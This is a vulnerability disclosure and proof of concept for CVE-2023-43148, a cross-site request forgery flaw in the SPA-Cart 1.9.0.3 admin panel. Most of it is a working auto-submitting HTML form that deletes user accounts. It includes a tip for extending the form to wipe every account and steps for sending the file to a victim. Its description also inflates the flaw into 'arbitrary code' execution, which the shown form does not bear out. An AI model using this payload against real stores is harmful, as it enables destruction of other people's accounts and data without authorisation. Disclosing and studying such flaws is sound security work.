# CVE-2023-43148 #Author : Aitor Herrero Fuentes # Vendor: SPA-Cart # Vendor Homepage: https://spa-cart.com/ # Software Link: https://demo.spa-cart.com/admin # Version: 1.9.0.3 # Tested on: Windows 10 Pro CSRF DELETE ALL ACCOUNT Cross Site Request Forgery vulnerability in application demo.spa-cart.com allows a remote attacker to execute arbitrary code , Delete "All Accounts" with one click A CSRF vulnerability occurs when a malicious actor can trick a victim into performing an action that they did not intend to perform. In this case, the malicious actor could trick the victim into clicking on a link or opening a file that contains malicious code. This code could then be used to delete all accounts POC 1 - Make an file with with this CODE and SAVE in HTML Attack Delete All Account <html> <body> <form action="https://demo.spa-cart.com/admin/users/search" method="POST" enctype="multipart/form-data"> <input type="hidden" name="mode" value="delete" /> <input type="hidden" name="status[855]" value="1" /> <input type="hidden" name="status[848]" value="1" /> <input type="hidden" name="status[857]" value="1" /> <input type="hidden" name="status[859]" value="1" /> <input type="hidden" name="status[852]" value="1" /> <input type="hidden" name="status[850]" value="0" /> <input type="hidden" name="status[849]" value="1" /> <input type="hidden" name="to_delete[858]" value="on" /> <input type="hidden" name="status[858]" value="1" /> <input type="hidden" name="to_delete[856]" value="on" /> <input type="hidden" name="status[856]" value="1" /> <input type="hidden" name="to_delete[854]" value="on" /> <input type="hidden" name="status[854]" value="1" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> Tip: All user is assigned one id example "status[852]" complete de html with "status[001]" to status[002] ---etc---etc to arrived to 1000 , with this tip the attacker can delete all users 2 - Example test.html 3 - Send to the victim 4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button the code will changes in his actually session.